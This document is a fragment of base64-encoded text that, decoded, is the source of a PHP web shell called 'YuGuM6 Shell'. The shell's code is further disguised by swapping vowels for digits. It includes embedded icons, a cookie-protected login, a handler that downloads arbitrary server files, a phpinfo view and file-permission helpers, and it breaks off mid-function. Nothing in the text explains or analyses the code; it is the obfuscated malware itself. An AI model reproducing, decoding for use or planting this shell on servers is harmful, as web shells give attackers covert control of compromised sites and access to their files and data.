VG5JWHg5VUhyc0IrZzk5QmJCSGZGK284RkdBQ0VCL3cvUi9oTnFRQUFBQUJKUlVpRXJrSmdnZz09IiwKCQkibDJnMjN0IiA9PiAiNFZCT1J3MEtHZzJBQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFDUGtsRVFWUnVhbU5rMkJBd240dW8raytzWXRQT2N1eFlEV0FSbFdMdStPb25mZGZHb1JrZ3dkOS9HVHVCcVc5US9BV0lQd0xWZmNOcXdLa3l3Ly9mL2pFeDFONGlNTngrOCszQVVhcC9PellEZkhxRXZtb2hmY2ZBa01lQVlnaGpkNm4xZitOZkp4bWtKUVFZUk1hOUdGWXNYbllnMTk3RlNoUURwakQwTUxBeVJJTjYyQnR3MnNUZy9pZGYveDRrUkxnWTNPVTBHZHFtYlcxWTU1cU5KZHlBRmdadkJsR0dDV29tTFF4Vkphc3dBL0ZZa1Q3WUFFbWdBYndLM2d6dDB6WWdES2htOEdTUVkraDJNbXRnK1BUN0k4T2ZmNzhaNUY0aUdkNFlhUm41L0h6Rk1HblZEQWJHd3dXZUVBT0VPUm11WlRRWTUzYjNRQmd3aytGNGdha2R3N0ZYUng0Ky92bkN3TW5Dd2NBQnhOeXNYQXo0bkdJTWs2Yk9ZbUE4bUt2ei8vUFB2YUFET0NTVUdDWXRQWURoZ21qNmNJWXZmenV6OExQek1YQUFiNWRnWVdmZ1orTm4xRjdjemNDdUwwdnIvMDVRQVlJY0RPNVl0Qms1dnZ6QzBMbHdFMFlZRkJoa00weFlOUlV6RERxS1UvdXJ2VDdBSUFFMHVPbC9FWWJkZG91eXpOdGFvQkpyTE53QzhuclJZbUY3NDNyLzk2Ly9NSWdERFdEbEZXSll2TzhHdyt6VGI2RU5BS1lEbDYxK2JvdjVmY0kwWUhPQzh2K29Yb3V6NEEzd003Qnk4VEtzTy9XSVlkcUpOeGdHQU5WOTg2NndGek1sZzJqaVFUS1hoWGhZZFpqWk9CaGFYbm9ETVBudTFvNlE0Z2I0WDBqMFd5Z2IwdUFpQVRKS1BCek1aem5aV1FRT292b00wSGZrbFF0VThSOGdmZ1BFanVEdUI5YmNDR01zREpZTnVHUmpYbi8rK1g1RzlnTXZJZURPdndMRTkvSGxVQUJVUS9aeEpuRlFVQUFBQUFCSlJVaUVya0pnZ2c9PSIsCgkJImYxdjRjMm42IiA9PiAiQUFBQkFBRUFFQkFBQUFFQUlBQjJCQUFBRmdBQUFDZ0FBQUFRQUFBQUlBQUFBQUVBSUFBQUFBQUFBQUFBQUJFTEFBQVJDd0FBQUFBQUFBQUFBQUFFQUFBbkFBQUFJZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBV1FjSDVUUVNFdEFCQUFCSkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUcwQkFRcGpEQXlDUUJVVHVRUWtBcWNjR1FSdzFqMlFqRWMyQllrQUFBQTlBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJ1YUVaZzJwRWYvTjJ1dC85K3pkLy94c0hML2tsa2JhZ1lBQUZZQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBelJ3YzlMZVVpK2hDM1FmODdsajcvZU1LMS8vTzY1UCtUWENIY0RnUUFWQUFBQUFFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQTZIMllJOCt4NS9wTnRhby9OWmc5LytMQW1mL3R3WnIvOXM1WC9lcHZNT2diQ3dCc0FBQUFDQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFPZUhGaFB3M0hvZitQUHYvK3pYdmYvc3hlTC83Y3EyLysvU3RmL2F5cC8vdlg4OTh5c1dBSVVBQUFBVEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBaXUwVldPb0duLy9hdWMvLzg5dkQvL1RneS8vdzA3Zi83Y3lyLy9US24vL040a0xlTngyQW5RQUFBQ3NBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRGhqU3BaZTdlSzcvVDQwUC9qcW9iL2U4V2cvKy9UdGYvcnhxRC83YmVQLzk1UVVmOVZMdzVwQUFBQUJ3QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU9xSEdqTDVqam5NaXI0Uy8vRFN0di9wdkpEL2VzS2MvKzQra3YvcjNJbi9zWEUvOGh1SUFIY0FBQUFSQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFlcFFoRjM1bU9lWGYybXovaWJHQS8rdkYyUC8yM3U3L2VMcU8vOEtGWGYrQU1nbnVFQVlBWHdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFEeXB3dUt1cGRFcjV2THJQL3J4cVQvZWNDWC8rMTdrdi9EYnlIL3RWSUcvenVYQUlRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBT1dOS2hqNW5WSEllYmVRLytuRG1mL2hwR0gvb3V3dC84OXpIdjhxRHdCWEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWlpY3FCc1ZpSTBUU2M0WEQ3N0pxLy9PdFpQZUZReENtQUFBQUNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWFURUFCZXgxQ1ZaWEtRVkRCZ0VBQWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEvLzhBQUwvL2h2K0ovOGpwd1AvZTczQi82M1hnUGVUU3VBK0wwdkFIYnN6dUF1emgvQU9PLy91QkFBTC9BQUFBL3VFQUFQL2hBQUQvL3dBQS8vOEFBQT09IiwKCQkiZjF2NGMybmEiID0+ICJBQUFCQUFFQUVCQUFBQUVBSUFCMkJBQUFGZ0FBQUNnQUFBQVFBQUFBSUFBQUFBRUFJQUFBQUFBQUFBQUFBUEFLQUFEd0NnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ01GQXdNL0FRRUJOd0FBQUJrQUFBQURBQUFBQndBQUFBTUNBUUVnQ0FVRlN3WUVCRU1BQUFBeEFBQUFIQUFBQUFJQUFBQUFBQUFBQUdoTlRXZWNkbmJmbEdkbjcycGhZNWR4VGs3U1kwZEhzdUpqWTdwalJrMTZsYWkzb0xxTDQvNVpiV28zMlhsaWlJTmhZZFVRQ2dwWkFBQUFBQUFBQUFEWXJxNzQvKy92Ly9MUjBmLzQzYm4vdXJPei8vN1IwZi8vb056Ly85RFEvK3lvdC8vaHIxby83N3FlLy9vSHgvL25zTEQvTlNRazVnQUFBQUFBQUFBQXplNDJxdi95OHYvLzhQRC8vK25wLy9mVDAvLzlhZG4vLzl2Yi8vL1c2di84ek16LzljTEMvL2ZFeFAvb3c4UC92cENROFFrR0Jqa0FBQUFBQUFBQUFNeTQybDc5OXZiLy8vYmEvLy94OGYvYWF0ci8rdHpjLy8vanUvLy9hOXYvL3RQVC8vZkZ4Zi9peHNiLy9NakkvaU4zYnMwQUFBQVFBQUFBQUFBQUFBRDFzTEFyN2Q3NSt2Ly8vLy8vL1B6LysrdnIvL3JqdS8vL2Uzci8vK0w0Ly8vMWF2L2V6Y28vL3N2TC8vdkZ4ZjlrU1VtckFBQUFBQUFBQUFBQUFBQUEwdTNMQjNMQ3d0SC8vLy8vLy8vLy8vb2E5di9lZSt2Ly8vTHkvLy9xZXYvL3VPRC8vTlBULy8vUjBmL3l2cjcvUXpBd2d3QUFBQUFBQUFBQUFBQUFBQUFBQUFEYzNMNFUvLy8vLy8vLy8vLy8vZm8vL2ZYNi8vL2Urdi8rNzM3Ly8rZm4vLzcxYXYvLzY5Zi91ckd4L3lRWkdXSUFBQUFBQUFBQUFBQUFBQUFBQUFBQWxuaStkdi8rL3YvVTM3di83ZHIxLy8vLy8vL1h4TVQvMGUrdi8vb21pdi8vdStQLy85dmIvOTFwcWZ1TUNRbFRBQUFBQUFBQUFBQUFBQUFBQUFBQUFOYTZ0V2ZzaTVYL3BJU0UvOHFzclAveTdPei8yMjVILzdDTWpQL2h4Y1gvLytycS8vL2ZvLy9MMktEd0JnTURQUUFBQUFBQUFBQUFBQUFBQUFBQUFBRHZzckpTdXRuWi91VndjUCtoNDJyL2lOcjEvdU52Yi8rTmNuTC94S2F0Ly8vdjcvLy91K1AvdEpDUW9nRUFBQjhBQUFBQUFBQUFBQUFBQUFBQUFBQUE5dVNFTTM3MWF2aXpZYVAvNWFpMy8vRG5pLzllMUdqL1g2QlEvODM4dlAvLzhmSC8vK1RrL3VObFpiTUFBQUFFQUFBQUFBQUFBQUFBQUFBQUFBQUFBUC9pK1FuL2kzYk95YnFlLzd5eXN2Ly8vLy8vdzdDdy9pNEs0di83OGZILy8vSHgvK3ZHeHZzbUdocExBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQW51T0RUdi9hOXYvLy8vLy8vLy8vLy8vLy8vLy8vdjcvLy9yZS8vL3JlLzlpWDYrVUFBQUFBUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUR1eE1SMjkrVGs4Zi8vLy8vLy8vLy8vLy8vLy9UNW92NEcxV21KQlFJQ0NBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFQS290eTU5bkp4azVvUjBmWGgyMUhWUU9EZzBBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQS8vOEFBTUFEaHYrQUE4anBnQVBlN3NBRDYzWEFBZVRTd0FPTDBzQUhic3pnQnV6aHVBNU8vK0FIQUFMZ0J3QUF1QThBQVBBUEFBRHVId0FBLy84QUFBPT0iCgkpOwoJaDUxZDVyKCJDMm50NW50LXR5cDU6IDRtMWc1L2c0ZiIpOwoJaDUxZDVyKCJDMWNoNS1jMm50cjJsOiBwM2JsNGMiKTsKCTVjaDIgYjFzNWV1X2Q1YzJkNSgkNG0xZzVzWyQ0bWddKTsKCWQ0NSgpOwp9Cgo0Zig0c19mNGw1KG1kaSgnMW5kcm8xOWEnKSkpewoJNGYoITRzczV0KCRfQ09PS0lFWydzaDVsbF8zczVybjFtNSddKSB8fCAhNHNzNXQoJF9DT09LSUVbJ3NoNWxsX3Axc3N3MnJkJ10pKXsKCQk0ZighNHNzNXQoJF9QT1NUWydsMmc0biddKSl7CgkJCTVjaDIgJzxmMnJtIDFjdDQybj0iIiBtNXRoMmQ9IlBPU1QiPlVzNXJuMW01OiA8NG5wM3QgdHlwNT0idDV4dCIgbjFtNT0iM3M1cm4xbTUiPjxicj5QMXNzdzJyZDogPDRucDN0IHR5cDU9InAxc3N3MnJkIiBuMW01PSJwMXNzdzJyZCI+PGJyPjw0bnAzdCB0eXA1PSJzM2JtNHQiIHYxbDM1PSJMMmc0biIgbjFtNT0ibDJnNG4iPjwvZjJybT4nOwoJCQlkNDUoKTsKCQl9CgkJNWxzNXsKCQkJJGZwID0gZjRsNShtZGkoJzFuZHJvMTlhJykpOwoJCQkkZnAgPSA1eHBsMmQ1KCc6Ojo6JywkZnBbYzIzbnQoJGZwKS1hXSk7CgkJCSQzczVybjFtNSA9IHRyNG0oJGZwWzBdKTsKCQkJJHAxc3N3MnJkID0gdHI0bSgkZnBbNl0pOwoJCQk0ZihtZGkobWRpKHN0cnQybDJ3NXIoJF9QT1NUWyczczVybjFtNSddKSkuJzFuZHJvMTlhJykgPT0gJDNzNXJuMW01ICYmIG1kaShtZGkoJF9QT1NUWydwMXNzdzJyZCddKS4nMW5kcm8xOWEnKSA9PSAkcDFzc3cycmQpewoJCQkJczV0YzIyazQ1KCdzaDVsbF8zczVybjFtNScsbWRpKHNoMTYobWRpKHNoMTYobWRpKHNoMTYoYjFzNWV1XzVuYzJkNSgkM3M1cm4xbTUpKSkpKSkpLHQ0bTUoKSArIGUwKmUwKmF1LCIvIik7CgkJCQlzNXRjMjJrNDUoJ3NoNWxsX3Axc3N3MnJkJyxtZGkoc2gxNihtZGkoc2gxNihtZGkoc2gxNihiMXM1ZXVfNW5jMmQ1KCRwMXNzdzJyZCkpKSkpKSksdDRtNSgpICsgZTAqZTAqYXUsIi8iKTsKCQkJfQoJCQk1bHM1ewoJCQkJNWNoMiAnPGYybnQgYzJsMnI9InI1ZCIgczR6NT0iaSI+VVNFUk5BTUUgQU5EL09SIFBBU1NXT1JEIFdST05HITwvZjJudD4nOwoJCQkJZDQ1KCk7CgkJCX0KCQl9Cgl9Cgk1bHM1ewoJCSRmcCA9IGY0bDUobWRpKCcxbmRybzE5YScpKTsKCQkkZnAgPSA1eHBsMmQ1KCc6Ojo6JywkZnBbYzIzbnQoJGZwKS1hXSk7CgkJJDNzNXJuMW01ID0gdHI0bSgkZnBbMF0pOwoJCSRwMXNzdzJyZCA9IHRyNG0oJGZwWzZdKTsKCQk0ZigoJF9DT09LSUVbJ3NoNWxsXzNzNXJuMW01J10gIT0gbWRpKHNoMTYobWRpKHNoMTYobWRpKHNoMTYoYjFzNWV1XzVuYzJkNSgkM3M1cm4xbTUpKSkpKSkpKSB8fCAoJF9DT09LSUVbJ3NoNWxsX3Axc3N3MnJkJ10gIT0gbWRpKHNoMTYobWRpKHNoMTYobWRpKHNoMTYoYjFzNWV1XzVuYzJkNSgkcDFzc3cycmQpKSkpKSkpKSl7CgkJCXM1dGMyMms0NSgic2g1bGxfM3M1cm4xbTUiLCIiLHQ0bTUoKSAtIG9lMDAsIi8iKTsKCQkJczV0YzIyazQ1KCJzaDVsbF9wMXNzdzJyZCIsIiIsdDRtNSgpIC0gb2UwMCwiLyIpOwoJCQloNTFkNXIoInI1ZnI1c2g6IDYiKTsKCQkJZDQ1KCdBY2M1c3MgZDVuNDVkIScpOwoJCX0KCX0KfQoKNGYoJF9QT1NUWydkMndubDIxZCddICE9ICIiKXsKCSRkMndubDIxZCA9ICRfUE9TVFsnZDJ3bmwyMWQnXTsKCTRmKHN0cnAycygkZDJ3bmwyMWQsIi8iKSAhPT0gRkFMU0UpewoJCSRkMndubDIxZF9uMW01ID0gNXhwbDJkNSgiLyIsJGQyd25sMjFkKTsKCQkkZDJ3bmwyMWRfbjFtNSA9ICRkMndubDIxZF9uMW01W2MyM250KCRkMndubDIxZF9uMW01KS02XTsKCX0KCTVsczU0ZihzdHJwMnMoJGQyd25sMjFkLCJcXCIpICE9PSBGQUxTRSl7CgkJJGQyd25sMjFkX24xbTUgPSA1eHBsMmQ1KCJcXCIsJGQyd25sMjFkKTsKCQkkZDJ3bmwyMWRfbjFtNSA9ICRkMndubDIxZF9uMW01W2MyM250KCRkMndubDIxZF9uMW01KS02XTsKCX0KCTVsczUgJGY0bDVfbjFtNSA9ICRkMndubDIxZDsKCTRmKDRzX2Y0bDUoJGQyd25sMjFkKSkgZDJ3bmwyMWQoJGQyd25sMjFkKTsKCTVsczUgZDQ1KCJ1MHUgbjJ0IGYyM25kISIpOwp9Cgo0ZigkX1BPU1RbJ3BocDRuZjInXSA9PSAidjQ1dyIpewoJNWNoMiAiPGM1bnQ1cj48ZjJybSAxY3Q0Mm49XCIiLiRfU0VSVkVSWydQSFBfU0VMRiddLiJcIiBtNXRoMmQ9XCJQT1NUXCIgbjFtNT1cInI1dDNyblwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cImQ0clwiIHYxbDM1PVwiIi5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnZDRyJ10pLiJcIj4KCTwxIGhyNWY9XCIjXCIgMm5jbDRjaz1cImQyYzNtNW50LnI1dDNybi5zM2JtNHQoKVwiPlI1dDNybiB0MiBZdUd1TTYgU2hvbGw8LzE+PC9jNW50NXI+PC9mMnJtPjxicj48YnI+IjsKCXBocDRuZjIoKTsKCWQ0NSgpOwp9Cgo/Pgo8aHRtbD4KPGg1MWQ+CjxsNG5rIHI1bD0ic2gycnRjM3QgNGMybiIgaHI1Zj0iPD9waHAgNWNoMiAkc2g1bGwuIj80bWc9ZjF2NGMybjYiOyA/PiI+Cjx0NHRsNT4KfiBZdUd1TTYgfiBTaG9sbCB+CjwvdDR0bDU+CjxzdHlsNSB0eXA1PSJ0NXh0L2NzcyI+CjE6bDRua3sKZjJudC1mMW00bHk6IHQxaDJtMTsKZjJudC1zNHo1OiA2YXB4Owp0NXh0LWQ1YzJyMXQ0Mm46IG4ybjU7CmMybDJyOiAjODA4MDgwOwp9CjE6djRzNHQ1ZHsKZjJudC1mMW00bHk6IHQxaDJtMTsKZjJudC1zNHo1OiA2YXB4Owp0NXh0LWQ1YzJyMXQ0Mm46IG4ybjU7CmMybDJyOiAjODA4MDgwOwp9CjE6MWN0NHY1ewpmMm50LWYxbTRseTogdDFoMm0xOwpmMm50LXM0ejU6IDZhcHg7CnQ1eHQtZDVjMnIxdDQybjogbjJuNTsKYzJsMnI6ICM4MDgwODA7Cn0KMTpoMnY1cnsKZjJudC1mMW00bHk6IHQxaDJtMTsKZjJudC1zNHo1OiA2YXB4Owp0NXh0LWQ1YzJyMXQ0Mm46IG4ybjU7CmMybDJyOiAjRkZGRkZGOwp9IApiMmR5ewpiMWNrZ3IyM25kLWMybDJyOiAjQWVERkZBOwpjMmwycjogIzgwODA4MDsKZjJudC1mMW00bHk6IHQxaDJtMTsKZjJudC1zNHo1OiA2YXB4Owp9CnQxYmw1ewpmMm50LWYxbTRseTogdDFoMm0xOwpmMm50LXM0ejU6IDZhcHg7Cnc0ZHRoOiBlaTBweDsKYjJyZDVyOiBzMmw0ZCA2cHggI0ZGRkZGRjsKfSAKdDFibDUjMWN0NDJuc3sKdzRkdGg6IDllcHg7CmIycmQ1cjogMHB4Owp9CnQxYmw1IzFjdDQybnMgdGR7Cnc0ZHRoOiA2ZXB4OwpiMnJkNXI6IDBweDsKfQp0MWJsNSNxMzVyeW01bjN7Cnc0ZHRoOiBldWlweDsKYjJyZDVyOiAwcHg7Cn0KdDFibDUjcTM1cnltNW4zIHRkewpiMnJkNXI6IDBweDsKfQp0MWJsNSNxMzVyeV8xY3R7Cnc0ZHRoOiBvYXB4OwpiMnJkNXI6IDBweDsKfQp0MWJsNSNxMzVyeV8xY3QgdGR7Cnc0ZHRoOiA2ZXB4OwpiMnJkNXI6IDBweDsKfQp0MWJsNSNjaDVja2IyeHsKdzRkdGg6IGVvYXB4OwpiMnJkNXI6IDBweDsKfQp0MWJsNSNjaDVja2IyeCB0ZHsKYjJyZDVyOiAwcHg7Cn0KdDFibDUjcTM1cnlzaDJ3ewp3NGR0aDogb29hcHg7CmIycmQ1cjogMHB4Owp9CnQxYmw1I3EzNXJ5c2gydyB0ZHsKYjJyZDVyOiAwcHg7Cn0KdDFibDUjMWN0NDJuc2Q0cnsKdzRkdGg6IGV1cHg7CmIycmQ1cjogMHB4Owp9CnQxYmw1IzFjdDQybnNkNHIgdGR7Cnc0ZHRoOiA2ZXB4OwpiMnJkNXI6IDBweDsKfQp0MWJsNSNkcjR2NXN7CmIycmQ1cjogMHB4Owp9CnQxYmw1I2RyNHY1cyB0ZHsKYjJyZDVyOiAwcHg7Cnc0ZHRoOiBvMHB4Owp9CnQxYmw1I2Nkewp3NGR0aDogbzAwcHg7CmIycmQ1cjogMHB4Owp9CnQxYmw1I2NkIHRkewpiMnJkNXI6IDBweDsKfQp0ZHsKZjJudC1mMW00bHk6IHQxaDJtMTsKZjJudC1zNHo1OiA2YXB4OwpiMnJkNXI6IHMybDRkIDZweCAjRkZGRkZGOwp9CmYycm0gewptMXJnNG46MHB4OwpwMWRkNG5nOjBweDsKfQo8L3N0eWw1Pgo8U0NSSVBUIExBTkdVQUdFPSJKMXYxU2NyNHB0Ij4KZjNuY3Q0Mm4gYzFsYzNsMXQycigzczVyLCBuM21iNXIpewoJNGYgKDNzNXIgPT0gIjJ3bjVyIiAmJiBuM21iNXIgPT0gInUiKXt2MXIgYjJ4ID0gNXYxbCgiZDJjM201bnQuY2htMmQuMnduNXJ1Iik7fQoJNGYgKDNzNXIgPT0gIjJ3bjVyIiAmJiBuM21iNXIgPT0gImEiKXt2MXIgYjJ4ID0gNXYxbCgiZDJjM201bnQuY2htMmQuMnduNXJhIik7fQoJNGYgKDNzNXIgPT0gIjJ3bjVyIiAmJiBuM21iNXIgPT0gIjYiKXt2MXIgYjJ4ID0gNXYxbCgiZDJjM201bnQuY2htMmQuMnduNXI2Iik7fQoJNGYgKDNzNXIgPT0gImdyMjNwIiAmJiBuM21iNXIgPT0gInUiKXt2MXIgYjJ4ID0gNXYxbCgiZDJjM201bnQuY2htMmQuZ3IyM3B1Iik7fQoJNGYgKDNzNXIgPT0gImdyMjNwIiAmJiBuM21iNXIgPT0gImEiKXt2MXIgYjJ4ID0gNXYxbCgiZDJjM201bnQuY2htMmQuZ3IyM3BhIik7fQoJNGYgKDNzNXIgPT0gImdyMjNwIiAmJiBuM21iNXIgPT0gIjYiKXt2MXIgYjJ4ID0gNXYxbCgiZDJjM201bnQuY2htMmQuZ3IyM3A2Iik7fQoJNGYgKDNzNXIgPT0gIjJ0aDVyIiAmJiBuM21iNXIgPT0gInUiKXt2MXIgYjJ4ID0gNXYxbCgiZDJjM201bnQuY2htMmQuMnRoNXJ1Iik7fQoJNGYgKDNzNXIgPT0gIjJ0aDVyIiAmJiBuM21iNXIgPT0gImEiKXt2MXIgYjJ4ID0gNXYxbCgiZDJjM201bnQuY2htMmQuMnRoNXJhIik7fQoJNGYgKDNzNXIgPT0gIjJ0aDVyIiAmJiBuM21iNXIgPT0gIjYiKXt2MXIgYjJ4ID0gNXYxbCgiZDJjM201bnQuY2htMmQuMnRoNXI2Iik7fQoJNGYgKGIyeC5jaDVjazVkID09IHRyMzUpewoJCTRmICgzczVyID09ICIyd241ciIpewoJCQlkMmMzbTVudC5jaG0yZC5oXzJ3bjVyLnYxbDM1ICs9ICgiK24zbWI1ciIpOwoJCQl2MXIgMSA9IChkMmMzbTVudC5jaG0yZC5oXzJ3bjVyLnYxbDM1KTsKCQkJdjFyIGIgPSA1djFsKDEpOwoJCQlkMmMzbTVudC5jaG0yZC5oXzJ3bjVyLnYxbDM1ID0gYjsKCQkJZDJjM201bnQuY2htMmQudF8yd241ci52MWwzNSA9IGI7CgkJfQoJCTRmICgzczVyID09ICJncjIzcCIpewoJCQlkMmMzbTVudC5jaG0yZC5oX2dyMjNwLnYxbDM1ICs9ICgiK24zbWI1ciIpOwoJCQl2MXIgMSA9IChkMmMzbTVudC5jaG0yZC5oX2dyMjNwLnYxbDM1KTsKCQkJdjFyIGIgPSA1djFsKDEpOwoJCQlkMmMzbTVudC5jaG0yZC5oX2dyMjNwLnYxbDM1ID0gYjsKCQkJZDJjM201bnQuY2htMmQudF9ncjIzcC52MWwzNSA9IGI7CgkJfQoJCTRmICgzczVyID09ICIydGg1ciIpewoJCQlkMmMzbTVudC5jaG0yZC5oXzJ0aDVyLnYxbDM1ICs9ICgiK24zbWI1ciIpOwoJCQl2MXIgMSA9IChkMmMzbTVudC5jaG0yZC5oXzJ0aDVyLnYxbDM1KTsKCQkJdjFyIGIgPSA1djFsKDEpOwoJCQlkMmMzbTVudC5jaG0yZC5oXzJ0aDVyLnYxbDM1ID0gYjsKCQkJZDJjM201bnQuY2htMmQudF8ydGg1ci52MWwzNSA9IGI7CgkJfQoJfQoJNGYgKGIyeC5jaDVjazVkID09IGYxbHM1KXsKCQk0ZiAoM3M1ciA9PSAiMnduNXIiKXsKCQkJNGYgKGQyYzNtNW50LmNobTJkLmhfMnduNXIudjFsMzUgPT0gIiIpewoJCQkJZDJjM201bnQuY2htMmQudF8yd241ci52MWwzNSA9ICIiOwoJCQl9CgkJCTVsczV7CgkJCQl2MXIgMSA9IChkMmMzbTVudC5jaG0yZC5oXzJ3bjVyLnYxbDM1KTsKCQkJCWIgPSAxLShuM21iNXIpOwoJCQkJYyA9IDV2MWwoYik7CgkJCQlkMmMzbTVudC5jaG0yZC5oXzJ3bjVyLnYxbDM1ID0gYzsKCQkJCWQyYzNtNW50LmNobTJkLnRfMnduNXIudjFsMzUgPSBjOwoJCQl9CgkJfQoJCTRmICgzczVyID09ICJncjIzcCIpewoJCQk0ZiAoZDJjM201bnQuY2htMmQuaF9ncjIzcC52MWwzNSA9PSAiIil7CgkJCQlkMmMzbTVudC5jaG0yZC50X2dyMjNwLnYxbDM1ID0gIiI7CgkJCX0KCQkJNWxzNXsKCQkJCXYxciAxPShkMmMzbTVudC5jaG0yZC5oX2dyMjNwLnYxbDM1KTsKCQkJCWIgPSAxLShuM21iNXIpOwoJCQkJYyA9IDV2MWwoYik7CgkJCQlkMmMzbTVudC5jaG0yZC5oX2dyMjNwLnYxbDM1ID0gYzsKCQkJCWQyYzNtNW50LmNobTJkLnRfZ3IyM3AudjFsMzUgPSBjOwoJCQl9CgkJfQoJCTRmICgzczVyID09ICIydGg1ciIpewoJCQk0ZiAoZDJjM201bnQuY2htMmQuaF8ydGg1ci52MWwzNSA9PSAiIil7CgkJCQlkMmMzbTVudC5jaG0yZC50XzJ0aDVyLnYxbDM1ID0gIiI7CgkJCX0KCQkJNWxzNXsKCQkJCXYxciAxPShkMmMzbTVudC5jaG0yZC5oXzJ0aDVyLnYxbDM1KTsKCQkJCWIgPSAxLShuM21iNXIpOwoJCQkJYyA9IDV2MWwoYik7CgkJCQlkMmMzbTVudC5jaG0yZC5oXzJ0aDVyLnYxbDM1ID0gYzsKCQkJCWQyYzNtNW50LmNobTJkLnRfMnRoNXIudjFsMzUgPSBjOwoJCQl9CgkJfQoJfQp9CmYzbmN0NDJuIGNoNWNrMWxsZDRyKG4zbSkgewoJYiA9IDV2MWwoImQyYzNtNW50LmNoNWNrYjJ4ZjJybS5jaDVjazYiKTsKCTRmKGIuY2g1Y2s1ZCA9PSB0cjM1KXsKCQliID0gNXYxbCgiZDJjM201bnQuY2g1Y2tiMnhmMnJtLmNoNWNrYSIpOwoJCTRmKGIuY2g1Y2s1ZCA9PSB0cjM1KXsKCQkJYiA9IDV2MWwoImQyYzNtNW50LmNoNWNrYjJ4ZjJybS5jaDVja28iKTsKCQkJYi5jaDVjazVkID0gdHIzNTsKCQl9CgkJZjJyICg0ID0gMDsgNCA8IG4zbTsgNCsrKSB7CgkJCWIyeCA9IDV2MWwoImQyYzNtNW50LmNoNWNrYjJ4ZjJybS5kNHJfXyIgKyA0KTsgCgkJCTRmIChiMnguY2g1Y2s1ZCA9PSBmMWxzNSkgYjJ4LmNoNWNrNWQgPSB0cjM1OwoJCX0KCX0KCTVsczV7CgkJYiA9IDV2MWwoImQyYzNtNW50LmNoNWNrYjJ4ZjJybS5jaDVja28iKTsKCQk0ZihiLmNoNWNrNWQgPT0gdHIzNSkgYi5jaDVjazVkID0gZjFsczU7CgkJZjJyICg0ID0gMDsgNCA8IG4zbTsgNCsrKSB7CgkJCWIyeCA9IDV2MWwoImQyYzNtNW50LmNoNWNrYjJ4ZjJybS5kNHJfXyIgKyA0KTsgCgkJCTRmIChiMnguY2g1Y2s1ZCA9PSB0cjM1KSBiMnguY2g1Y2s1ZCA9IGYxbHM1OwoJCX0KCX0KfQpmM25jdDQybiBjaDVjazFsbGY0bDUobjNtKSB7CgliID0gNXYxbCgiZDJjM201bnQuY2g1Y2tiMnhmMnJtLmNoNWNrYSIpOwoJNGYoYi5jaDVjazVkID09IHRyMzUpewoJCWIgPSA1djFsKCJkMmMzbTVudC5jaDVja2IyeGYycm0uY2g1Y2s2Iik7CgkJNGYoYi5jaDVjazVkID09IHRyMzUpewoJCQliID0gNXYxbCgiZDJjM201bnQuY2g1Y2tiMnhmMnJtLmNoNWNrbyIpOwoJCQliLmNoNWNrNWQgPSB0cjM1OwoJCX0KCQlmMnIgKDQgPSAwOyA0IDwgbjNtOyA0KyspIHsKCQkJYjJ4ID0gNXYxbCgiZDJjM201bnQuY2g1Y2tiMnhmMnJtLmY0bDVfXyIgKyA0KTsgCgkJCTRmIChiMnguY2g1Y2s1ZCA9PSBmMWxzNSkgYjJ4LmNoNWNrNWQgPSB0cjM1OwoJCX0KCX0KCTVsczV7CgkJYiA9IDV2MWwoImQyYzNtNW50LmNoNWNrYjJ4ZjJybS5jaDVja28iKTsKCQk0ZihiLmNoNWNrNWQgPT0gdHIzNSkgYi5jaDVjazVkID0gZjFsczU7CgkJZjJyICg0ID0gMDsgNCA8IG4zbTsgNCsrKSB7CgkJCWIyeCA9IDV2MWwoImQyYzNtNW50LmNoNWNrYjJ4ZjJybS5mNGw1X18iICsgNCk7IAoJCQk0ZiAoYjJ4LmNoNWNrNWQgPT0gdHIzNSkgYjJ4LmNoNWNrNWQgPSBmMWxzNTsKCQl9Cgl9Cn0KZjNuY3Q0Mm4gY2g1Y2sxbGwobjNtLG4zbWEpIHsKCWIgPSA1djFsKCJkMmMzbTVudC5jaDVja2IyeGYycm0uY2g1Y2tvIik7Cgk0ZihiLmNoNWNrNWQgPT0gdHIzNSl7CgkJYjJ4ID0gNXYxbCgiZDJjM201bnQuY2g1Y2tiMnhmMnJtLmNoNWNrNiIpOwoJCWIyeC5jaDVjazVkID0gdHIzNTs